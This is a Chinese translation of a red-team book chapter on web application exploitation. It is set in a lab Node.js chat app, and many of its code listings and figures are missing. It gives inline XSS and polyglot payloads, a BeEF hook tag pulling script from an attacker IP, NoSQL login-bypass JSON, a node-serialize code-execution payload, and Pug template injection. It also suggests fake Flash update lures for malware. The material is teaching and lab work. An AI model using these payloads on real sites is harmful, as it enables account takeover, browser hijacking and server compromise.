第3章 抛传——网站应用程序漏洞利用

0300

在过去几年中,我们经历了一些来自外部的严重网络攻击事件。Apache Struts 2网站(尽管Equifax事件还没有正式确认)、Panera网站和优步网站泄露了大量数据。毫无疑问,我们还会看到其他一些互联网网站,由于被攻击而导致严重的数据泄露事件。

整个安全行业在以周期性的方式发展。如果查看OSI模型的各个层级,那么会发现攻击者每隔一年就转移到不同的层级。对于网站来说,早在21世纪初,就有大量的SQLi和RFI类型漏洞被攻击者利用。然而,一旦公司开始加固网站外部安全措施,并开始进行外部渗透测试,攻击者就转向最初进入点——第8层即社交工程(网络钓鱼)攻击。现在,正如我们看到的,公司通过下一代端点/防火墙提升内部的安全性,攻击者的重点转向应用程序漏洞利用。我们还看到应用程序、API和语言的复杂性大幅增加,这导致许多旧的漏洞重新出现,甚至产生新的漏洞。

由于本书倾向于采用红队的思路,因此我们不会深入研究所有不同的Web漏洞或者如何手工利用这些漏洞。本书不会将Web漏洞逐一罗列。本书关注红队和“坏人”在现实世界中使用的漏洞,这些漏洞会导致个人身份信息、主机和网络泄露。如果您想详细了解网站漏洞类型,我强烈建议您参考《OWASP测试指南》一书。

请注意,由于本书第2版中的很多攻击方法没有改变,因此在本章练习中我们将不再重复SQLMap、IDOR攻击和CSRF漏洞等示例。我们将关注更新、更重要的攻击方法。

在开始介绍如何挖掘网站应用程序漏洞之前,我们先来了解一下漏洞悬赏项目。我们经常被问到的问题:“我怎样才能在这些训练后继续学习?”我的建议是针对真实的应用系统。您可能整天在训练、做实验,但是如果没有真实的目标环境,您很难提升能力。

但有一点需要注意:平均而言,训练大约需要花费3~6个月的时间,之后您才能够持续发现漏洞。我们的建议:不要感到沮丧,与其他漏洞挖掘同行并肩前进,同时要经常挖掘旧程序的漏洞。

常见的漏洞悬赏项目是HackerOne、BugCrowd和SynAck,还有很多其他的项目,这些项目可以提供0~2万美元甚至是更多的奖金。

我的很多学生发现,查找漏洞的过程令人望而生畏。漏洞悬赏项目需要您深入了解项目,每天花费几个小时,并且要了解如何利用“第六感”来挖掘漏洞。通常来说,漏洞挖掘一个好的起点是从无赏金漏洞悬赏项目(专业人士不会在这里看)或者像Yahoo这样的大型、成立时间较长的网站开始。这些类型的站点往往具有大量的网络地址空间和很多传统的服务器。正如之前的书中所提到的,渗透测试规划很重要,漏洞悬赏项目也不例外。许多项目指定了可以做什么和不可以做什么(如不能扫描、不能使用自动化工具、哪些域名可以被攻击等)。有时您很幸运,项目允许对* .company.com开展漏洞挖掘,但有时可能只限于一个域名。

让我们以eBay网站为例,该网站有一个公开的漏洞悬赏项目。漏洞悬赏项目明确了指南、可以攻击的域名、有效的漏洞类型、禁止攻击的目标,以及如何报告和确认,如图3.1所示。

0301

图3.1

如何向公司报告漏洞通常与发现漏洞同等重要。我们都希望能够为公司提供尽可能详细的信息,包括漏洞类型、严重性/关键性、漏洞产生的步骤、屏幕截图,甚至是漏洞触发样本。如果您需要创建完善的报告,请查看报告生成表单,如图3.2所示。

0302

图3.2

在运行自己开发的漏洞利用程序之前,对于漏洞悬赏项目,有一点需要注意的是,我看到在一些案例中,研究人员在发现漏洞后,后续操作已不局限于验证漏洞。

举例说明,在找到SQL注入漏洞后,转储整个数据库,在接管子域名后用个人认为有趣的内容修改页面,甚至执行远程代码漏洞后,在生产环境中横向渗透。上述行为都有可能导致法律纠纷,并可能让联邦调查人员出现在您的家门口。因此,请您做出最理智的判断,确定项目的范围,并记住如果感觉想要做的事是违法的,那么它很可能就是违法的。

完成侦察和探测后,您需要回顾和分析找到的所有各类站点。查看结果,未发现存在漏洞或者配置错误的应用程序。没有任何Apache Tomcat服务器或者存在Heartbleed/ShellShock漏洞的服务器,似乎所有Apache Strut及其CMS应用程序漏洞都已经被打上补丁了。

此时直觉可能会开始发挥作用,您开始在客户支持系统应用程序中探索。有些东西感觉不对劲,但是从哪里开始呢?

本章中提到的所有攻击方法,都可以在本书自定义的VMWare虚拟机中重复实验。虚拟机可以在本书配套资源中免费获得。

设置Web演示环境(客户支持系统)。

本节的命令和攻击方法可能非常多而且复杂。为了方便起见,我在下面文件中列出了每个实验所需的所有命令。

本书的前两个版本着重于介绍如何有效地测试网站应用程序,这个版本则有所不同。我们将跳过许多基本的攻击方式,重点介绍现实世界中使用的攻击方式。

由于这是一本实战性很强的书,因此我们不会详细介绍网站应用程序测试的所有细节。但是,这并不意味着所有细节都会被忽略。有一个很好的Web 应用程序测试信息的资源是 Open Web Application Security Project(OWASP)。OWASP主要是在应用程序安全性方面引导和教育用户。每隔几年,OWASP会编制一份常见问题清单并将其发布给公众。由于许多读者都试图进入安全领域,因此我想提醒大家的是,如果您想从事渗透测试工作,那么至少必须知道OWASP安全威胁的前十名。您不仅应该知道前十大漏洞是什么,还应能够根据风险的类型举出每个漏洞的例子,并且知道如何发现这些漏洞。现在,让我们来模拟演示如何突破网络空间猫公司。

将受到攻击的聊天支持系统实验构建为交互式,特点是包括新旧漏洞。正如您看到的,在下面的实验中,我们提供了一个具有聊天支持系统的定制版本的虚拟机。

应用程序本身是用Node.js编写的。为何选择Node?作为渗透测试人员,Node是发展速度较快的应用程序之一。由于许多开发人员似乎非常喜欢Node,因此我觉得了解后端代码JavaScript运行时存在的安全隐患非常重要。

什么是Node

Node.js是一个基于Chrome的V8 JavaScript引擎,实时运行JavaScript代码。由于Node.js是事件驱动的非阻塞I/O模型,因此具有小巧和高效的特点。Node.js的包生态系统NPM是一个开源库生态系统。

Node.js的基本功能是允许您在浏览器之外运行JavaScript。由于Node.js具有精简、快速和跨平台的特点,因此它可以通过统一堆栈简化项目。虽然Node.js不是网站服务器,但它可以在服务器(您可以用JavaScript编程)环境运行,而不只是网站客户端。

其优点包括以下几点。

随着Node.js在过去几年变得越来越受欢迎,对于渗透测试人员/红队来说,了解要查找的内容以及如何攻击这些应用程序变得非常重要。例如,一位研究人员发现,弱NPM凭证使得他能够编辑/发布13%的NPM包。通过依赖链,大约有52%的NPM包容易受到攻击。

在以下示例中,我们的实验将使用Node.js语言作为应用程序开发的基础,使用Express框架作为Web服务器。然后,我们将Pug模板引擎添加到Express框架中,如图3.3所示。这类似于新开发Node.js应用程序使用的模式。

0303

图3.3

Express是采用Node.js语言的小型化网站框架。Express为网站和移动应用程序提供了一组强大的功能,您无须做很多事情。使用名为Middlewares的模块可以添加第三方认证或服务,例如Facebook认证或者Stripe支付处理服务。

Pug 的正式名称为Jade,是一种服务器端模板引擎,您可以(但不必)与Express一起使用。Jade在服务器上自动生成HTML并将其发送到客户端。

我们开始模拟攻击聊天支持系统,首先启动聊天支持系统虚拟机。

假如您偶然发现了网络空间猫聊天支持系统对外开放。当您慢慢浏览所有页面时,可以了解底层系统,并在应用程序中查找弱点。您需要在服务器中找到第一个入口,从而进入生产环境。

您首先浏览所有漏洞扫描程序和网站应用程序产生的扫描程序报告,但是毫无收获。看来这家公司定期运行常用的漏洞扫描程序并修补了大部分问题。系统突破现在依赖于编码问题、错误配置和逻辑缺陷。您还注意到此应用程序正在运行Node.js,这是一种目前非常流行的语言。

虽然针对网站应用程序,红队没有完整的工具清单,但您需要配备的一些基本工具包括以下几种。

在进行任何类型的扫描之前,尝试理解底层代码和基础结构非常重要。我们怎样才能知道后端运行的是什么程序?我们可以使用Wappalyzer、BuiltWith或者Google Chrome浏览器。在图3.4中,当加载聊天应用程序时,我们可以看到HTTP头中包括X-Powered By:Express。使用Wappalyzer,我们还可以发现应用程序正在使用Express和Node.js。

0304

图3.4

在盲目攻击网站之前,了解应用程序可以帮助您找到更好的方法。对于那些可能配备网站应用程序防火墙的目标站点,了解应用程序同样会帮助您隐蔽更多的攻击行为。

在本书前两版中,我们详细介绍了如何使用Burp Suite以及如何对站点进行渗透测试。我们将跳过很多设置的基础知识,并更多地关注攻击网站。

在这一点上,我们假设您已经设置了Burp Suite(免费版或付费版),并且您使用的是本书的 Kali虚拟机镜像。一旦掌握了网站的底层系统,就需要识别所有端点。我们仍然需要运行之前使用的检测工具。

(1)Burp Suite。

(2)OWASP ZAP。

(3)Dirbuster。

(4)GoBuster。

字典非常重要。我喜欢使用的是一个名为raft的旧字典,它来自于多个开源项目。

现在简要介绍一下攻击的整个过程。从红队的角度来看,我们要查找可以主动攻击的漏洞,并提供最大的帮助。如果进行审计或者渗透测试,那么我们可能会报告漏洞扫描程序中发现的SSL漏洞、默认Apache页面或不可利用的漏洞。但是对于红队来说,我们可以完全忽略这些,专注于获得高权限、Shell或个人身份信息。

查看并测试跨站脚本(XSS)漏洞。使用传统的XSS攻击方法<script>alert(1) </script>,测试网站上的每个变量,这对于漏洞悬赏项目非常有帮助,但我们还可以做什么?我们可以使用哪些工具和方法更好地完成这些攻击?

因为我们都知道XSS攻击是客户端攻击,允许攻击者定制网站请求,将恶意代码注入响应数据包中。这个问题通常可以通过客户端和服务器端的正确输入验证进行修复,但是实际上并不是那么容易。为什么?这是由多种原因造成的,例如,编码质量不高、框架不熟悉,应用程序过于复杂,导致很难了解输入的位置。

因为警报弹出框确实没有真正的危害,所以让我们开始一些基本类型的XSS攻击。

XSS静荷混淆/多语言

目前,标准的XSS静荷仍然可以正常运行,但我们确实会发现应用程序阻止某些字符,或者在应用程序前面有网站应用防火墙。

在评估期间,您有时候可能会遇到简单的XSS过滤器,它们会查找<script>之类的字符串。混淆XSS静荷是一种选择,但是同样需要注意的是,并非所有JavaScript静荷都需要打开和关闭<script>标记。有一些HTML事件属性在触发时执行JavaScript,这意味着任何只针对Script标签的规则毫无用处。例如,执行JavaScript的这些HTML事件属性位于<script>标记之外。

您可以通过访问应用程序(记得修改/etc/host文件,指向虚拟机应用程序),尝试针对聊天支持系统应用程序中的每个HTML实体实施攻击。访问聊天支持系统后,注册一个账户,登录该应用程序,然后访问聊天功能。您可以尝试不同的实体攻击和混淆的静荷,如图3.5所示。

0305

图3.5

其他XSS资源如下。

0306

图3.6 JackMasa跨站脚本思维导图

正如您所看到的,尝试在应用程序中查找各种XSS漏洞很烦琐,这是因为静荷的参数受代码功能、不同类型的HTML标记、应用程序类型和不同类型的过滤机制影响。尝试找到最初的XSS弹出窗口可能需要很长的时间。如果我们尝试将多个静荷放到单个请求中,会怎么样呢?

这种类型的静荷称为多语言静荷(Polyglot)。Polyglot静荷采用多种不同类型的静荷/混淆技术,并将它们编译成一个静荷。这种静荷对于采用自动脚本查找XSS,有限时间的漏洞悬赏项目或者仅仅快速查找输入验证问题非常有帮助。

因此,我们可以不使用常规的<script>alert(1)</script>,而是构建下面的多语言静荷。

如果您查看上面的静荷,那么这个静荷尝试采用注释、点和斜线规避检测;执行onclick XSS;关闭多个标签;最后尝试onload XSS攻击方法。集成这些类型的攻击方法使Polyglots在识别XSS方面非常高效。

如果您想测试和使用不同种类的多语言静荷,那么可以从易受攻击的XSS页面或聊天应用程序开始。

浏览器漏洞利用框架(BeEF)将XSS攻击提升到新的层面。这个工具将JavaScript静荷注入被攻击者的浏览器,感染用户的系统。这会在被攻击者的浏览器上创建一个命令和控制通道,以便JavaScript后期利用。

从红队的角度来看,BeEF是一个很好的工具,可用于各类攻击行动中,包括跟踪用户、捕获凭据、执行单击劫持和钓鱼攻击。即使不用在攻击场景,BeEF也是一个很好的工具,可以展示XSS漏洞的巨大危害。BeEF对于更复杂的攻击也有帮助,我们将在后面的盲XSS攻击中进行讨论。

BeEF 分为两部分:一部分是服务器,另一部分是攻击静荷。启动服务器的步骤如下。

在您的攻击Kali主机上启动BeEF。

查看位于http://127.0.0.1:3000/hook.js上的hook.js文件,您将看到很长的、像是JavaScript的混淆代码。这是被攻击者客户端静荷,用于回连命令和控制服务器。

一旦在目标应用程序上找到XSS漏洞,不要使用原始的alert(1)样式静荷,您可以修改<script src="http://<Your IP>:3000/hook.js"></script>静荷来利用此漏洞。一旦被攻击者执行这个静荷,其浏览器将成为“僵尸”网络的一部分。

BeEF支持哪些类型的后期攻击?一旦被攻击者在您的控制之下,您就可以做任何JavaScript可以做的事情。您可以通过HTLM5打开相机并拍摄被攻击者的照片,可以在屏幕上叠加图片以捕获凭据,也可以将其重定向到恶意网站以执行恶意软件。

以下是BeEF基于XSS漏洞、开展攻击的过程展示。

首先,确保BeEF服务器运行在攻击者计算机上。在聊天支持系统的应用程序(存在漏洞)中,您可以访问http://chat:3000/xss并在练习2中输入您的静荷。

一旦被攻击者连接到僵尸网络,您就可以完全控制其浏览器。您可以在设备、浏览器和启用的功能基础上,开展各种类型的攻击。采用社会工程策略,通过Flash Update提示推送恶意软件,可以很好地演示XSS攻击过程,如图3.7所示。

0307

图3.7

执行攻击后,在被攻击者的计算机上显示弹出窗口,引诱安装更新软件,其中包含附加的恶意软件,如图3.8所示。

0308

图3.8

本书建议您花一些时间研究所有BeEF的后期利用模块,并了解JavaScript的强大功能。因为我们已经控制了目标的浏览器,所以需要弄清楚如何在红队活动中发挥作用。在发现了 XSS 漏洞并感染了目标主机,您还想做些什么?我们将在下一部分讨论这个问题。

盲XSS很少被讨论,因为它需要用户极大的耐心。什么是盲XSS?顾名思义,盲XSS是指执行存储的XSS静荷时,攻击者/用户看不到回显结果,仅有管理员或者后端工作人员才能看到。虽然这种攻击方式对于后端用户可能是非常致命的,但它经常会被遗漏。

假设某个应用程序有一个“联系我们”的页面,允许用户向管理员提供联系信息,以便以后联系。由于该数据的结果只能由管理员手动查看,因此请求用户是看不到的,如果应用程序存在XSS漏洞,则攻击者不会立即看到“alert(1)”的攻击效果。在这些情况下,我们可以使用XSS Hunter工具,验证盲XSS。

XSS Hunter的工作原理是,当JavaScript静荷执行时,截取被攻击者屏幕(他们正在查看的当前页面),并将屏幕截图发送回XSS Hunter的站点。当收到屏幕截图后,XSSHunter将发送静荷已执行的通知,并提供所有的详细信息。我们现在可以创建一个恶意的静荷,重新开始攻击。

0309

图3.9

0310

图3.10

理解反射和存储的跨站脚本(XSS)攻击相对简单。正如我们所了解的,服务器没有对用户/数据库的输入/输出进行充分验证,导致恶意脚本代码通过网站源代码形式呈现给用户。但是,在基于文档对象模型(DOM)的XSS攻击中,有些不同的地方,使用户产生了一些常见的误解。因此,我们需要花些时间来了解基于DOM的XSS。

当攻击者操纵网站应用程序的客户端脚本时,可以采用基于DOM的XSS攻击方式。如果攻击者将恶意代码注入文档对象模型中,并且强制客户端的浏览器读取恶意代码,则静荷将在读取数据后执行。

DOM究竟是什么?文档对象模型(DOM)是HTML属性的表示方法。由于您的浏览器无法解析这种HTML属性,因此需要解释器将HTML属性转化为DOM。

让我们浏览一下聊天支持网站。查看存在漏洞的网站应用程序,您应该能够看到聊天站点存在XSS漏洞。

在示例中,我们在服务器端配置Node.js环境,socket.io(Node.js的库)在用户和服务器之间创建Web套接字,客户端支持JavaScript和msg.msgText JavaScript脚本。正如图3.11和页面的源代码所示,您不会看到“警报”对话框直接弹出静荷,而在标准的反射/存储的 XSS 可以看到。在这里,我们收到的唯一提示表明来自于msg.name引用的静荷可能被调用了。有时候我们很难推断出静荷执行的位置,或者是否需要跳出HTML标记执行静荷。

0311

图3.11

XSS漏洞反复出现的一个重要原因是,仅通过过滤标签或某些字符的方式很难防范该攻击方式。当静荷针对特定语言或框架进行定制时,XSS很难防御。每种语言在漏洞利用方面都有其独特之处,Node.js也是这样。

在本节中,您将看到一些特定语言如何实现XSS漏洞的例子。Node.js网站应用程序使用一种更常见的Web堆栈和配置文件。实现方式包括Express框架和Pug模板引擎。需要注意的是,默认情况下,除非通过模板引擎进行渲染,否则Express确实没有内置的XSS防护机制。当使用像Pug这样的模板引擎时,有两种常见的方法可以找到XSS漏洞:通过字符串插值和缓冲代码。

模板引擎有一个字符串插值的概念,这是表示字符串变量占位符的一种奇特方式。例如,我们可以用Pug模板格式为变量指定一个字符串。

注意,#{THP}是THP之前分配变量的占位符。我们通常看到这些模板用于电子邮件分发消息。您是否收到过自动系统转发的电子邮件,内容是Dear ${first_name}…,而不是您的真实名字?这正是模板引擎运行的方式。

当上面的模板代码呈现为HTML时,它将如下所示。

幸运的是,在这种情况下,我们使用“#{}”字符串插值,这是Pug插值的转义版本。如您所见,通过使用模板,我们可以创建可重用的代码,而且模板非常轻巧。

Pug 支持转义和非转义字符串插值。转义和未转义之间的区别是什么?好吧,使用转义字符串插值将对<、>、'和“等字符进行HTML编码。这将有助于对用户输入进行验证。如果开发人员使用非转义字符串插值,那么通常会导致XSS漏洞。

此外,字符串插值(变量插值、变量替换或变量扩展)用于评估一个或多个占位符的字符串文字,结果是其中占位符替换为其对应的值。

在现实世界中,我们已经看到许多存在XSS漏洞的案例,原因是开发人员忘记了代码所处的上下文以及输入被传递的位置。让我们看看存在漏洞的聊天支持系统应用程序中的一些示例。访问虚拟机上的URL地址:http://chat:3000/xss。我们将逐步完成每一个练习来了解Node.js/Pug XSS。

练习1(http://chat:3000/xss)

在本例中,我们将字符串插值转义为段落标记。这是不可利用的,因为我们在HTML段落上下文中使用了正确的转义字符串插值符号。

0312

图3.12

单击提交后,查看页面源代码(<Ctrl + U>组合键)并搜索单词“alert”,您将看到静荷的特殊字符转换为HTML实体。在浏览器中,可以看到脚本标记,但没有呈现为JavaScript。这种字符串插值的使用方式是正确的,并且确实没有办法突破这个场景来找到XSS漏洞。下面让我们看一些糟糕的实现。

练习2

在本例中,我们在段落标记中使用“!{}”表示非转义字符串插值。这种方式容易存在XSS漏洞。任何基本的XSS静荷都会触发漏洞,例如<script>alert(1)</script>。

因此,当提交用户输入时,使用非转义字符串插值(!{name2})会导致很多麻烦。这是一种糟糕的做法,不能用于处理用户提交的数据。输入的任何JavaScript代码都将在被攻击者的浏览器上执行。

0313

图3.13

练习3

在这个例子中,我们在动态内联JavaScript中转义了字符串插值。这意味着代码受到保护,因为它被转义了,对吧?未必。这个例子存在漏洞,原因是输入所处的代码上下文。我们在Pug模板中看到,在转义插值之前,我们实际上是在一个脚本标记内。因此,任何JavaScript(即使是转义的)都会自动执行。因为在脚本标记内,所以静荷中不需要<script>标记。我们可以直接使用JavaScript,例如alert(1)。

(1)跳到示例#3。

(2)Pug模板源代码。

(3)此模板将解析成下面的HTML格式。

(4)尝试输入静荷。

(5)单击提交后,我们应该看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证。

有一个小小的改变,正确的写法是在插值周围添加引号。

(6)Pug模板源代码。

练习4

在这个例子中,Pug非转义代码由“! =”表示,因为没有转义,所以程序很容易受到 XSS 攻击的影响。因此,在这种情况下,我们可以在输入字段添加简单的“<script> alert(1)</script>”样式实施攻击。

练习5

假设我们访问一个使用转义字符串插值和某种类型过滤的应用程序。在下面的练习中,我们在Node.js服务器中执行最小的黑名单过滤脚本,删除“<”“>”和“alert”等字符。但是,再次错误地将转义字符串插值放在脚本标记中。如果可以在那里放置JavaScript脚本,就可以实施XSS攻击。

如您所知,许多浏览器已开始集成XSS防护机制。我们已经使用这些静荷来绕过某些浏览器保护机制,如图3.14所示。在Kali之外,您可以尝试在实际使用的浏览器中加载这些静荷,例如Chrome。

0314

图3.14

对于复杂的应用程序,很难保证不出现XSS漏洞。对于框架如何处理输入和输出,很容易出现理解错误或者忘记处理的情况。因此,在对Pug/Node.js应用程序执行源代码审查时,在源代码中搜索 !{、#{或`$ {有助于找到XSS的位置。了解代码上下文以及是否需要在该上下文中进行转义至关重要,我们将在后面的示例中认识到这一点。

虽然上面的攻击方式是针对Node和Pug系统的,但是其实每种语言都存在XSS漏洞和输入验证的问题。您不需要运行漏洞扫描程序或XSS模糊测试工具,找到所有XSS漏洞,您需要做的是了解所使用的语言和框架。

我经常遇到的一个问题是,如何从 XSS 漏洞拓展,实现获取 Shell?虽然有很多不同的方式实现这个目标,但我们通常会发现,如果可以在内容管理系统(CMS)或类似设备中找到用户-管理员类型的XSS,那么就能够完全突破系统。全部的演示示例和代码可以在Hans-Michael Varbaek处获取。Hans-Michael提供了一些关于从XSS漏洞到远程执行攻击的精彩示例和视频。

我喜欢使用自定义红队攻击方式,主要是借助JavaScript的功能。我们通过BeEF(Browser Exploitation Framework,浏览器开发框架)了解到JavaScript非常强大。因此,我们可以利用所有这些功能,对不知情的被攻击者实施攻击。这个静荷会做什么?攻击的一个示例是让被攻击者的计算机运行JavaScript XSS静荷,获取被攻击者的内部(自然)IP地址。然后,我们基于这些 IP 地址,使用静荷扫描其内部网络。如果找到了一个已知的 Web应用程序,那么在不进行身份验证的情况下即可突破,我们可以发送恶意静荷到该服务器。

例如,我们的目标可能是Jenkins服务器,在未经身份验证的情况下,可以完成远程代码的执行。要查看XSS与Jenkins突破的完整过程,可参阅第5章中关于使用社会工程学渗透内部Jenkins服务器的内容。

在本书的前两版中,我们花费相当长的时间介绍如何使用SQLMap进行SQL注入。除增加一些混淆以及集成到Burp Suite工具以外,本书与第2版在这方面相比没有太大变化。但是我想深入研究NoSQL注入,因为这些数据库变得越来越普遍。

MySQL、MS SQL和Oracle等传统SQL数据库依赖于关系数据库中的结构化数据。这些数据库是关系型的,这意味着一个表中的数据与其他表中的数据有关。这使执行查询操作很方便,例如“给我列出所有在过去30天内购买东西的客户”。这些数据的问题在于整个数据库中数据的格式必须保持一致。NoSQL数据库中的数据通常不遵循SQL查询数据库中的表格/关系模型。这些数据称为“非结构化数据”(如图片、视频和社交媒体),并不适用于我们大量收集数据。

NoSQL特性如下。

在传统的SQL注入中,攻击者会尝试跳出SQL查询,并在服务器端修改查询操作。使用NoSQL注入,攻击可以在应用程序的其他区域中执行,而不是在传统的SQL注入中执行。此外,在传统的SQL注入中,攻击者会使用标记来跳出语句。在NoSQL注入攻击中,NoSQL漏洞通常是由于字符串解析或者赋值操作造成的。

NoSQL注入中漏洞通常在以下情况下发生:向NoSQL数据库提出请求,端点接收JSON数据;我们能够操纵NoSQL查询,使用比较运算符更改操作查询。

NoSQL注入的一个常见例子是注入以下的数据:[{"$gt":""}]。这个JSON对象的含义是运算符($gt)大于NULL ("")。由于逻辑上所有内容都大于NULL,因此JSON对象始终是正确的,允许我们绕过或注入NoSQL查询。这相当于SQL注入中的[' 或者 1=1--]。在MongoDB中,我们可以使用以下条件运算符之一。

1.攻击客户支持系统NoSQL应用程序

我们来了解聊天应用程序中的NoSQL工作流程。

0315

图3.15

在聊天应用程序中,我们看到对/loginnosql端点进行身份验证期间,POST数据中包含{“username”:“admin”,“password”,“GuessingAdminPassword”}。在POST请求中使用JSON格式验证用户是很常见的,但是如果定义自己的JSON对象,我们可能使用不同的条件语句来确保条件始终为真。这实际上类似于传统的SQLi 1 = 1语句,从而绕过身份验证。下面让我们来了解是否可以注入应用程序。

2.服务器源代码

在聊天应用程序的NoSQL部分,我们将看到类似的JSON POST请求。即使这样,作为黑盒测试,看不到服务器端的源代码,我们期望以下面类似的方式查询MongoDB后端。

3.注入NoSQL聊天应用程序

正如从服务器端源代码中看到的那样,我们将使用用户提供的用户名/密码,搜索数据库,查找匹配项。如果能够修改POST请求,那么我们或许可以实施数据库查询注入,如图3.16所示。

0316

图3.16

发生了什么?我们将字符串“GuessingAdminPassword”更改为JSON对象{"$gt":""},这是正确的语句,因为所有的元素均大于NULL。将POST请求更改为{“username”:“admin”, “password”:TRUE},使得请求始终正确,并以管理员身份登录而不需要知道密码,复制了SQLi中1=1攻击方式。

4.高级NoSQLi注入攻击

NoSQL注入攻击并不是新的攻击方式,在本章的目的是,展示新的框架和语言如何隐蔽地引入新的漏洞。例如,Node.js有一个qs模块,该模块具有特定的语法,用于将HTTP请求参数转换为JSON对象。默认情况下,qs模块是Express中'body-parser'中间件的一部分。

这意味着什么?如果使用了qs模块,并且在参数中使用括号表示法,POST请求将在服务器端转换为JSON。因此,一个POST请求,例如username[value]=admin&password [value]=admin将转换为{"username": {"value":"admin"}, "password":{"value":"admin"}}。现在,qs模块协助NoSQLi接收并转换POST。

现在,我们的请求看起来与上一节中的NoSQLi请求是一致的。让我们看看实际操作,如图3.17所示。

0317

图3.17

您已经以admin身份登录!您已经利用Express框架中的qs模块(正文解析器中间件一部分)存在的解析漏洞,执行NoSQL注入攻击。如果您不知道选用哪个用户名攻击怎么办?我们可以使用同样的攻击方法,查找和登录其他账户吗?

如果我们尝试使用用户名比较,而不是密码比较呢?在这种情况下,NoSQLi POST请求如下所示。

上面的POST请求实际上是在数据库中查询大于admin的用户名,密码字段始终正确。如果成功了,您可以找到管理员的下一个用户(按字母顺序),并以他的身份登录。继续这样做,直到找到超级账户。

在过去几年中,针对网站开展序列化/反序列化攻击变得越来越流行。我们在BlackHat上看到了很多不同的讨论,内容主要是挖掘了Jenkins和Apache Struts 2等常见应用程序中的序列化关键漏洞,同时出现了大量反序列化研究项目ysoserial。那么反序列化攻击为什么这么引人关注呢?

在开始之前,我们需要了解为什么要序列化。序列化数据有很多原因,其中主要的原因是用于生成值/数据的存储,而不改变其类型或结构。序列化将对象转换为字节流,用于网络传输或存储。通常,转换方法涉及XML、JSON或针对某语言的序列化方法。

1.Node.js中的反序列化

很多时候,挖掘复杂的漏洞需要深入了解应用程序。在这个场景中,Node.js聊天应用程序使用存在漏洞的serialize.js版本。这个库存在漏洞,易受攻击,原因是不受信任的数据传递给unserialize()函数,可以被利用,执行任意代码,具体操作是将中间调用函数表达式(IIFE)传递给JavaScript对象。

我们先来详细了解攻击的细节,以便更好地了解发生了什么事情。首先,我们查看serialize.js文件并快速搜索eval,如图3.18所示。一般情况下,JavaScript eval语句包括用户输入数据是存在问题的,因为eval()执行原始JavaScript。如果攻击者能够将JavaScript注入此语句中,则能够在服务器上远程执行代码。

0318

图3.18

其次,我们需要创建一个序列化静荷,静荷将被反序列化,并通过eval运行,同时JavaScript静荷需要运行 ('child_process').exec('ls')。

上面的JSON对象将把以下请求“(){require('child_process').exec('ls')”传递给unserialize函数中的eval语句,实现远程代码执行。最后需要注意的是,结尾括号添加了“()”,因为没有括号我们的函数就不会被调用。研究员Ajin Abraham最早发现这个漏洞,应用中间调用函数表达式或IIFE在创建函数后,执行该函数。

在聊天应用程序的例子中,我们将查看Cookie值,Cookie使用存在漏洞的库进行反序列化。

0319

图3.19

如前所述,每种语言都有其独特之处,Node.js也不例外。在Node/Express/Pug框架中,您无法直接写入Web目录,并且像在PHP中一样访问它。必须指定访问文件夹的路径,文件夹需要可写并且可以被公共的互联网访问。

0320

图3.20

2.创建静荷

0321

图3.21

如图3.22所示,在node-serialize模块的源代码中,我们看到这个函数表达式正在被计算,用户输入可能被执行,对于任何JavaScript/Node.js应用程序来说,这都是一个严重的问题。这种糟糕的实现方式导致我们可以突破这个应用程序。

0322

图3.22

与标准HTML相比,模板引擎由于其模块化和简洁的代码,被广泛使用。模板注入是指用户输入直接传递到渲染模板,导致底层模板的修改。模板注入攻击已经出现在wikis、WSYWIG或电子邮件领域。因为这种情况很少是意外发生的,所以经常被误解为XSS。模板注入攻击使得攻击者可以访问底层操作系统,从而远程执行代码。

在下一个示例中,您将通过Pug对Node.js应用程序执行模板注入攻击。我们无意中将自己暴露在带有用户输入的元重定向的模板注入中,这是使用模板文本‘${}’呈现的。值得注意的是,模板文字允许使用换行符,这要求我们不要跳出段落标记,因为Pug对空格和换行符很敏感,类似于Python。

在Pug中,第一个字符或单词代表关键字,用于指明标签或者函数。您也可以使用缩进指定多行字符串,如下所示。

以下是 HTML 和Pug模板的示例,如图 3.23所示。

0323

图3.23

上面的示例文本显示了模版在HTML中的排版以及模版在Pug Markup语言中的排版。通过模板和字符串插值,我们可以创建快速、可重用且高效的模板。

1.模板注入示例

聊天应用程序容易受到模板注入攻击。在下面的应用程序中,我们将观察到是否可以与Pug模板系统进行交互。这可以通过检查输入参数是否可以处理基本操作进行判断。James Kettle写过一篇论文介绍攻击模板以及与底层模板系统的交互方式。

与Pug交互的步骤如下。

0324

图3.24

0325

图3.25

2.测试基本操作

我们可以通过传递一个算术字符串来测试XSS易受攻击的参数是否用于模板注入。如果输入被评估,那么表明参数存在模板注入攻击的风险,这是因为模板(如编码语言)可以轻松支持算术运算。

基本操作测试如下。

0326

图3.26

利用Pug的特点。

(1)正如前文所述,Pug是用空格分隔的(类似于Python),换行符用于输入一个新的模板,这意味着如果跳出Pug中的当前行,就可以执行新的模板代码。在这种情况下,我们将跳出段落标记(<p>),如上所示,执行新的恶意模板代码。为此,我们必须使用一些URL编码来利用此漏洞。

(2)逐步完成每个要求实现模板注入。

(3)因此,最终的静荷将如下所示。

(4)/ti?user =%0a%3d9 * 9在响应正文中输出了81,如图3.27所示。您在用户参数中实现了模板注入!我们利用JavaScript远程执行代码。

0327

图3.27

正如您在响应中所看到的,我们在段落标记之外看到“81”的输出结果,而不是用户名!这意味着我们能够注入模板。

我们现在知道程序存在一些模板注入漏洞,可以进行简单的计算,但我们需要了解是否可以执行Shell。我们必须在Node/JavaScript中通过正确的函数来执行Shell。

0328

图3.28

解析全局对象。

0329

图3.29

搜索代码执行函数。

0330

图3.30

远程执行代码。

0331

图3.31

现在,我们可以自动化这个过程吗?当然可以。一个名为Tplmap的工具(可在GitHub网站中搜索)与SQLmap类似,它尝试将所有不同的模板注入组合,如图3.32所示。

0332

图3.32

在每次安全评估和Web应用程序渗透测试中,我们尽可能实现远程执行代码。虽然远程执行代码几乎会出现在任何地方,但是常见于上传WebShell、Imagetragick漏洞利用、使用Office文件开展XXE攻击、目录遍历结合上传功能实现关键文件替换等过程。

通常,我们可能会尝试找到上传区域,并使用Shell。下面的网址包含各种不同类型的webshell静荷(可以GitHub网站中搜索)。注意,这些Shell没有经过任何审查,使用它们您需要自担风险。我在互联网上见到很多网站Shell中包含恶意软件。

利用上传缺陷攻击存在漏洞的聊天应用程序

